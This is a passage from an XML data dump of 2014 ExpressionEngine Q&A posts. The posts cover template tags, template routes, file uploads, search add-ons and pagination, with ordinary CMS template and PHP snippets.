comma-separated list first, then trimming the final comma. Finally, we output the final string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Start with an empty string --}&#xA;&amp;lt;?php $tag_list = ''; ?&amp;gt;    &#xA;&#xA;&amp;lt;?php foreach($tags as $tag) :?&amp;gt;&#xA;   {!-- Concatenate tags --}&#xA;   &amp;lt;?php $tag_list .= $tag . &quot;, &quot;; ?&amp;gt;&#xA;&amp;lt;?php endforeach ?&amp;gt; &#xA;&#xA;{!-- Trim the final extra comma and display to screen --}&#xA;&amp;lt;?php echo rtrim($tag_list, &quot;, &quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are likely other ways to do this, using Stash perhaps, but this uses native tools.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-11-11T14:41:57.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26679" PostTypeId="2" ParentId="26661" CreationDate="2014-11-11T14:59:37.363" Score="1" Body="&lt;p&gt;I would set the quantity of those items to 0 (unavailable) and use a standard EE conditional to show a &quot;Request Price&quot;.&lt;/p&gt;&#xA;" OwnerUserId="1148" LastActivityDate="2014-11-11T14:59:37.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26680" PostTypeId="2" ParentId="26676" CreationDate="2014-11-11T17:03:38.490" Score="6" Body="&lt;p&gt;If you want a whole lot more control over column display in the channel &gt; edit area, you should look at the add-on &lt;a href=&quot;https://zenbustudio.com/software/zenbu&quot;&gt;Zenbu&lt;/a&gt;. It will allow you to customize the way channel entry content is displayed in the control panel, per channel, and per member group. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If on the other hand you need to display some content that isn't in the channel entries in a column, I don't have a quick answer for you!)&lt;/p&gt;&#xA;" OwnerUserId="1326" LastActivityDate="2014-11-11T17:03:38.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26681" PostTypeId="1" AcceptedAnswerId="26692" CreationDate="2014-11-11T17:15:28.350" Score="0" ViewCount="112" Body="&lt;p&gt;Can I build a page with SafeCracker that will allow me...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Upload files via Channel Files field? I'm running EE 2.5.5 (SafeCracker 2.1).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Manage (Edit, Delete, Add) files already previously submitted?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wasn't able to find much info on the second question.&lt;/p&gt;&#xA;" OwnerUserId="1947" LastActivityDate="2014-11-12T04:48:09.230" Title="Can I edit contents of Channel Files field in Safecracker Form?" Tags="|safecracker|devdemon|channel-files|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26683" PostTypeId="1" AcceptedAnswerId="26685" CreationDate="2014-11-11T18:42:16.603" Score="0" ViewCount="24" Body="&lt;p&gt;I'm attempting to make the following scenario in EE &lt;em&gt;without&lt;/em&gt; utilizing membership. A form is on page 1. Upon successful submission of form, user is taken to page 2 which contains content only accessible after form is filled out. More than likely using FreeForm for my form submissions. The purpose of this is to just gather information about the people wanting the form-blocked content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm just trying to wrap my head around how to do this without someone being able to hack the url to page 2...ie..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;page 1 form would be at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/form&lt;/p&gt;&#xA;&#xA;&lt;p&gt;upon successful submit, would be directed to page 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;domain.com/form/content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone think of a different or better way of handling this so that the url cannot be hacked? Membership seems like the obvious choice, but some of these users will potentially already be members of a different group, some may not. Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="3750" LastActivityDate="2014-11-11T20:52:39.663" Title="Private Downloads page" Tags="|forms|content|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26685" PostTypeId="2" ParentId="26683" CreationDate="2014-11-11T20:52:39.663" Score="0" Body="&lt;p&gt;You can allow page access with members by using conditionals to test if the person is in member group 1 or 2. I'd definitely go the Members route. The only other way to block a page is to use .htpassword but then users would still need a way to &quot;login&quot; to view the page.&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2014-11-11T20:52:39.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26686" PostTypeId="2" ParentId="26651" CreationDate="2014-11-11T22:41:52.230" Score="2" Body="&lt;p&gt;If you are using EE v2.8 or higher, you can use the built in Template Routes feature for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your individual entry template, add a routing rule for that template in Design &gt;  Template Manager &gt; Template Route Manager like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/news/{year:regex[(\d{4})]}/{month:regex[(\d{2})]}/{day:regex[(\d{2})]}/{news_title:alpha_dash}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/64txe.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using the &quot;Segments Required&quot; set to &quot;Yes&quot; so that URLs without the url title like &lt;code&gt;example.com/news/2014/&lt;/code&gt; will default back to the &lt;code&gt;news/index&lt;/code&gt; template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then your channel entries tag might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;  channel=&quot;news&quot; &#xA;  limit=&quot;1&quot; &#xA;  url_title=&quot;{segment:news_title}&quot; &#xA;  dynamic=&quot;no&quot;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The year, month, and day segments aren't used by the channel entries tag at all. In fact, you can enter the wrong day, month, or year in the URL and it would still pull up the correct entry. The upside of this is that if you change the entry's date, old links to this article will still work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want the URL to be more strict, you could add the year, month and day parameters to the channel entries tag like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries &#xA;  channel=&quot;news&quot; &#xA;  limit=&quot;1&quot; &#xA;  url_title=&quot;{segment:news_title}&quot; &#xA;  year=&quot;{segment:year}&quot; &#xA;  month=&quot;{segment:month}&quot; &#xA;  day=&quot;{segment:day}&quot; &#xA;  dynamic=&quot;no&quot;&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Take a look at the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/urls/template_routes.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;ExpressionEngine User Guide on Template Routes&lt;/a&gt; for more information. EllisLab also has a nice blog post about how template routes can be used here: &lt;a href=&quot;https://ellislab.com/blog/entry/template-routes-in-expressionengine-2.8&quot; rel=&quot;nofollow noreferrer&quot;&gt;Template Routes in ExpressionEngine 2.8&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're running EE v2.7.3 and lower, you could use segment variables in a single template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would use a &quot;news/index&quot; template and the route would look like this essentially:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/news/{segment_1/{segment_2}/{segment_3/{segment_4}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use a conditional to show either and entry or a listing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_4}&#xA;&#xA;  {!-- New entry code here --}&#xA;  {exp:channel:entries &#xA;    channel=&quot;news&quot; &#xA;    limit=&quot;1&quot; &#xA;    url_title=&quot;{segment_4}&quot; &#xA;    year=&quot;{segment_1}&quot; &#xA;    month=&quot;{segment_2}&quot; &#xA;    day=&quot;{segment_3}&quot; &#xA;    dynamic=&quot;no&quot;&#xA;  } &#xA;&#xA;{/if}&#xA;{if segment_4 == ''}&#xA;&#xA;  {!-- New listing code here --}&#xA;  {exp:channel:entries &#xA;    channel=&quot;news&quot; &#xA;    limit=&quot;10&quot; &#xA;  } &#xA;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NOTE: I'm using 2 simple conditions instead of {if:else} because that would make it an advanced conditional and the parse engine would parse both channel entries tags regardless of which one is needed. This wouldn't be needed in EE v2.9 or later tho as they &lt;a href=&quot;https://ellislab.com/blog/entry/new-conditionals-parser-in-2.9&quot; rel=&quot;nofollow noreferrer&quot;&gt;changed how the Conditional Parser works&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2014-11-11T22:41:52.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26687" PostTypeId="2" ParentId="26674" CreationDate="2014-11-11T22:43:53.250" Score="0" Body="&lt;p&gt;The SAEF does just what it says - creates new entries from outside the Control Panel. You could look to use Solspace Freeform to create a form that allows image uploads outside of Channel:Entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you could just dedicate a channel for your file uploads if you want to assign meta data to each image.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2014-11-11T22:43:53.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26688" PostTypeId="1" CreationDate="2014-11-11T23:09:00.970" Score="0" ViewCount="74" Body="&lt;p&gt;I'm trying to use GET variables to apply pagination to a channel entries request (so can access via URL/AJAX).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a variable that would work, eg ?P=10 or ?page=10&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried offset but obviously that just reduces the number of entries available to query against.&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2014-12-18T11:54:55.703" Title="Pagination via get variables?" Tags="|pagination|get|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26689" PostTypeId="1" CreationDate="2014-11-11T23:44:49.053" Score="0" ViewCount="37" Body="&lt;p&gt;I'm seeing a strange behavior in the Customer Reports screen where none of the customer names are showing. We're seeing the customer totals and also the ability to export to CSV, and even more interesting, the pagination; none of the customers are listed in the table though. The rest of the CT reports are all working properly, but this specific report is showing blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using EE 2.9.2 and CT 2.61&lt;/p&gt;&#xA;" OwnerUserId="1303" LastActivityDate="2016-06-18T06:49:00.527" Title="Customer Report showing blank" Tags="|cartthrob|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26690" PostTypeId="1" AcceptedAnswerId="26691" CreationDate="2014-11-12T00:02:23.603" Score="1" ViewCount="58" Body="&lt;p&gt;I'm fairly new to EE and currently familiarizing myself with the channels/fields process, and I'm wondering if there's a way-- either natively or with the help of an add-on-- to associate an image or provide a choice of images when publishing via a specific channel?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To provide some context, I have a basic new type feed that displays various events in order of date in a sidebar. The provided channel fields will include event name, date and location. To the side of each entry, I would like to display an image that is specific to that location-- i.e. if a user wants to publish an event that will take place in Chicago, an image specific to that city will show next to the event details text. I realize that I could provide a field for the user to upload an image each time, but given that the range of cities will be finite, I'd like to provide the images beforehand, and either allow the user to select the image appropriate to the given city, or somehow have that image displayed in the corresponding &lt;code&gt;div&lt;/code&gt; that is associated with the specific city that is selected/entered into the &quot;city&quot; field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? Please let me know if my question is unclear in any way. Thanks for any assistance here.&lt;/p&gt;&#xA;" OwnerUserId="3777" LastActivityDate="2014-11-12T11:26:51.287" Title="Possible to associate/include image with channel field?" Tags="|channel-entries|channel|fields|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26691" PostTypeId="2" ParentId="26690" CreationDate="2014-11-12T00:14:36.480" Score="0" Body="&lt;p&gt;Sounds like you are not sure yet how you are structuring your site in terms of selecting the city, so here are a couple options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your location choices are based on a category, you can use a category image, but that would limit the pic to a default one you setup (So every Chicago event has the same pic):&#xA;&lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/cp/admin/channels/category_create.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/cp/admin/channels/category_create.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really want the user to have options from a set gallery, you could look through Dev Demons 'Channel Images' addon:&#xA;&lt;a href=&quot;http://www.devdemon.com/expressionengine-addons/channel-images&quot; rel=&quot;nofollow&quot;&gt;http://www.devdemon.com/expressionengine-addons/channel-images&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1379" LastActivityDate="2014-11-12T00:14:36.480" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26692" PostTypeId="2" ParentId="26681" CreationDate="2014-11-12T04:48:09.230" Score="0" Body="&lt;p&gt;Yes, Channel Form (Safecracker) is supported. You can upload files and edit/delete/add them just like your CP publish form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-11-12T04:48:09.230" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26693" PostTypeId="1" CreationDate="2014-11-12T05:04:42.663" Score="1" ViewCount="108" Body="&lt;p&gt;I'm using Solspace Importer to import data from a JSON data feed, and all is working well. As Grid isn't currently supported, I'm using Matrix for my repeatable entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All works well on initial run, but on next run of the import, the following errors are thrown.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Illegal string offset 'is_draft'&#xA;Filename: matrix/ft.matrix.php&#xA;Line Number: 2409&#xA;&#xA;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Illegal string offset 'is_draft'&#xA;Filename: matrix/ft.matrix.php&#xA;Line Number: 2461&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not really sure why this is failing the second time around, but maybe something to do with updating entries incorrectly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know if any more info is required!&lt;/p&gt;&#xA;" OwnerUserId="3778" LastActivityDate="2014-11-12T05:04:42.663" Title="Matrix issues using with Solspace Importer" Tags="|matrix|solspace|pixelandtonic|solspace-importer|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26695" PostTypeId="2" ParentId="26406" CreationDate="2014-11-12T10:23:52.920" Score="1" Body="&lt;p&gt;Off the top of my head, I think I've done this successfully before... Maybe try using the &lt;code&gt;parents&lt;/code&gt; or &lt;code&gt;children&lt;/code&gt; tag in conjunction with a &lt;code&gt;channel&lt;/code&gt; parameter like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;  {exp:channel:entries channel=&quot;bands&quot;}&#xA;   &amp;lt;li&amp;gt; &#xA;    {title}&#xA;    &amp;lt;ul&amp;gt;&#xA;        {bands_albums}&#xA;        &amp;lt;li&amp;gt;&#xA;            {bands_albums:title}&#xA;            &amp;lt;ul&amp;gt;&#xA;                {bands_albums:parents channel=&quot;songs&quot;}&#xA;                  &amp;lt;li&amp;gt;&#xA;                     {bands_albums:parents:title}  &#xA;                  &amp;lt;li&amp;gt;&#xA;                {/bands_albums:parents}&#xA;            &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        {/bands_albums}&#xA;    &amp;lt;/ul&amp;gt;&#xA;   &amp;lt;/li&amp;gt;&#xA;  {/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-11-12T10:23:52.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26697" PostTypeId="2" ParentId="26673" CreationDate="2014-11-12T11:19:22.607" Score="1" Body="&lt;p&gt;Don't ever enable php in a template. Aside from being a security risk it's also just ugly and hard to maintain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take some time to learn how to build your functionality as an add-on. Plugins are the simplest type of add-on to get started with: &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/index.html&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/development/index.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of the specifics of saving data across page loads, take a look at the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/development/usage/session.html&quot; rel=&quot;nofollow&quot;&gt;session class&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2014-11-12T11:19:22.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26698" PostTypeId="2" ParentId="26690" CreationDate="2014-11-12T11:26:51.287" Score="0" Body="&lt;p&gt;You could do this with relationships.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Set up a channel for &quot;Places&quot; with each place having an image and any other info needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your event's channel set up a relationship field which maps to the Places channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's much the same as using categories but can sometimes be easier to work with. It's really down to preference as to how you wish to manage the locations.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-11-12T11:26:51.287" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26700" PostTypeId="2" ParentId="25962" CreationDate="2014-11-12T12:18:30.700" Score="1" Body="&lt;p&gt;I was just struggling with this problem, everything I was doing was resulting in the same error. I fortunately just managed to fix it though, problem is I'm not 100% sure why it happened I just know that it did.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open up the following file: system &gt; expressionengine &gt; libraries &gt; &lt;em&gt;template_router&lt;/em&gt; and open up &lt;em&gt;Route.php&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Find the following line of code: &lt;code&gt;$hash = md5($variable);&lt;/code&gt;&#xA;And change it to: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$hash = md5($variable);&#xA;$hash[0] = 'r';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Save and reupload the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://support.ellislab.com/bugs/detail/20493/custom-route-manager-rule-throwing-preg_match_all-warning&quot; rel=&quot;nofollow&quot;&gt;Link to EllisLab bug&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you then go to &lt;em&gt;CP &gt; Home &gt; Design &gt; Template Manager &gt; Template Route Manager&lt;/em&gt; you will see a list of all your templates and routes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create all your templates with no forward slash at the beginning (this worked for me but not sure if it's because my site url has a trailing forward slash at the end).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where you want to have your multiple variable segments use the following;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;courses/type/{type:alpha_dash}/{coursename:alpha_dash}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And make sure that Segments Required is &lt;strong&gt;unticked!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now hit update and you should be good to go.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've just restructured the answer as I believe this to be the correct path to fixing the issue. The 2nd part is probably still worth doing just for sake of consistency.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastEditorUserId="2420" LastEditDate="2014-11-12T12:29:52.823" LastActivityDate="2014-11-12T12:29:52.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26701" PostTypeId="1" CreationDate="2014-11-12T15:07:27.057" Score="0" ViewCount="64" Body="&lt;p&gt;On the website &lt;a href=&quot;http://constructionbook.bnibooks.com/&quot; rel=&quot;nofollow&quot;&gt;http://constructionbook.bnibooks.com/&lt;/a&gt;, I'm trying to modify Super Search to get search on the website the way we want it, but I'm having some difficulties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Super Search Version 2.1.4, Expression Engine Version 2.8.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have fuzzy searching turned on with Super Search, and we set search to match plurals and singulars as well as misspelled words. However, it does not appear to be working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that Super Search is supposed to build a database for misspelled words, but when I search for &quot;code book&quot;, I get two results on the website. However, when I search &quot;code books&quot;, I get zero results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The parameter search_word_within_words is currently set to &quot;no&quot;. Is this affecting how plurals and misspelled words are searched? Otherwise, what could be causing this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Here is the {exp:super_search:results} portion of our search template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:super_search:results&#xA;        channel=&quot;products&quot;&#xA;        limit=&quot;12&quot;&#xA;        show_future_entries=&quot;yes&quot;&#xA;        search_in=&quot;title|product_display_title|product_author|product_sku|product_isbn&quot;&#xA;        search_words_within_words=&quot;yes&quot;&#xA;        allow_repeats=&quot;no&quot;&#xA;        paginate=&quot;bottom&quot;&#xA;        fuzzy_distance=&quot;2&quot;&#xA;        fuzzy_weighting=&quot;yes&quot;&#xA;    }&#xA;&#xA;        {if super_search_no_results}&#xA;            &amp;lt;div class=&quot;col-md-12&quot;&amp;gt;&#xA;                &amp;lt;p&amp;gt;No results matched your query.&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&#xA;        {if super_search_total_results==1}&#xA;            {redirect=&quot;product/{url_title}&quot;}&#xA;        {/if}&#xA;&#xA;        {if count == 1 OR count == 4 OR count == 7 OR count == 10}&#xA;&#xA;        &amp;lt;div class=&quot;ad-col m-bottom&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;row &quot;&amp;gt;&#xA;&#xA;        {/if}&#xA;                &amp;lt;div class=&quot;col-md-4 ad-small&quot;&amp;gt;&#xA;                    &amp;lt;div class=&quot;well bg-1 ad-col-height&quot;&amp;gt;&#xA;                        &amp;lt;h4&amp;gt;&amp;lt;a class=&quot;inherit-hyperlink&quot; href=&quot;{url_title_path=product}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;                        &amp;lt;div class=&quot;row m-top&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-4&quot;&amp;gt;&#xA;                                &amp;lt;a href=&quot;{url_title_path=product}&quot;&amp;gt;&amp;lt;img class=&quot;img-responsive&quot; src=&quot;{if product_thumbnail}{product_thumbnail}{if:else}/media/products/noi.jpg{/if}&quot; alt=&quot;{title}&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-8&quot;&amp;gt;&#xA;                                {if product_tag!=&quot;&quot; AND product_tag != &quot;None&quot;}&#xA;                                    &amp;lt;p class=&quot;{product_tag}&quot;&amp;gt;{product_tag:label}&amp;lt;/p&amp;gt;&#xA;                                {/if}                           &#xA;                                {if product_author}&amp;lt;p&amp;gt;&amp;lt;small&amp;gt;By {product_author}&amp;lt;/small&amp;gt;&amp;lt;/p&amp;gt;{/if}&#xA;                                &amp;lt;p&amp;gt;Product Code: {product_sku}&#xA;                                &amp;lt;br /&amp;gt;Price: {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot; disable_javascript=&quot;yes&quot;}{price}{/exp:store:product}&#xA;                                &amp;lt;br /&amp;gt;{if product_binding != &quot;Other&quot;}{product_binding}{/if}&amp;lt;/p&amp;gt;&#xA;                                &amp;lt;p&amp;gt;&amp;lt;a href=&quot;{url_title_path=product}&quot; class=&quot;btn btn-default&quot;&amp;gt;View Details&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&amp;lt;!-- /.row --&amp;gt;&#xA;                        &amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;                            &amp;lt;div class=&quot;col-md-12 m-top&quot;&amp;gt;&#xA;                                {product_short_description}&#xA;                            &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&amp;lt;!-- /.well --&amp;gt;&#xA;                &amp;lt;/div&amp;gt;&amp;lt;!-- /.ad-small --&amp;gt;&#xA;&#xA;        {if count == 3 OR count == 6 OR count == 9 OR count == 12 OR count == total_results}&#xA;            &amp;lt;/div&amp;gt;&amp;lt;!-- /row --&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;        {/if}&#xA;&#xA;        {paginate}&#xA;&#xA;        &amp;lt;div class=&quot;text-center&quot;&amp;gt;&#xA;        {pagination_links}&#xA;        &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;        {first_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/first_page}&#xA;&#xA;        {previous_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-previous&quot;&amp;gt;&amp;amp;lt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/previous_page}&#xA;&#xA;        {page}&#xA;        &amp;lt;li {if current_page}class=&quot;active&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-{pagination_page_number} &quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/page}&#xA;&#xA;        {next_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-next&quot;&amp;gt;&amp;amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/next_page}&#xA;&#xA;        {last_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-last&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/last_page}&#xA;        &amp;lt;/ul&amp;gt;&#xA;        {/pagination_links}&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        {/paginate}&#xA;&#xA;    {/exp:super_search:results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3760" LastEditorUserId="3760" LastEditDate="2014-11-21T21:50:33.797" LastActivityDate="2016-06-10T18:00:46.167" Title="Super Search Plurals and Misspellings Not Working?" Tags="|solspace|search|supersearch|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26702" PostTypeId="1" AcceptedAnswerId="26703" CreationDate="2014-11-12T16:04:20.093" Score="0" ViewCount="282" Body="&lt;p&gt;We have the following on our results page:    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{layout=&quot;site/.html-layout&quot;}&#xA;&#xA;{exp:low_search:results&#xA;query=&quot;{segment_2}&quot;&#xA;require_query=&quot;yes&quot;      &#xA;limit=&quot;20&quot;&#xA;paginate=&quot;bottom&quot;&#xA;status=&quot;not closed&quot;&#xA;disable=&quot;member_data|category_fields&quot;&#xA;}&#xA;&#xA;{if count == 1}&#xA;&amp;lt;header class=&quot;page-header&quot;&amp;gt;&#xA;    &amp;lt;h1&amp;gt;&#xA;        {if get:collection}&#xA;            {if get:collection == &quot;companies&quot;}&amp;lt;a href=&quot;{path='companies'}&quot;&amp;gt;Company Directory&amp;lt;/a&amp;gt; / Company {/if}&#xA;            {if get:collection == &quot;dictionary&quot;}&amp;lt;a href=&quot;{path='dictionary'}&quot;&amp;gt;Dictionary&amp;lt;/a&amp;gt; / {/if}&#xA;        {/if}&#xA;        Search Results {if low_search_keywords} for &amp;lt;mark&amp;gt;&amp;amp;ldquo;{low_search_keywords}&amp;amp;rdquo;&amp;lt;/mark&amp;gt;{/if} ({if absolute_results != 0}{absolute_results}{if:else}No{/if} result{if absolute_results != 1}s{/if})&#xA;    &amp;lt;/h1&amp;gt;&#xA;&amp;lt;/header&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;row&quot;&amp;gt;&#xA;    &amp;lt;section class=&quot;col-md-8 col-md-offset-1 entries_list&quot; style=&quot;margin-top: 30px; margin-bottom: 30px;&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;entries_list&quot;&amp;gt;&#xA;{/if}&#xA;&#xA;{sn_results_entry_summary}&#xA;&#xA;{if count == total_results}&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/section&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&#xA;{paginate}&#xA;{pagination_links}&#xA;    &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;      {first_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; class=&quot;page-first&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;      {/first_page}&#xA;      {previous_page}&#xA;        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; 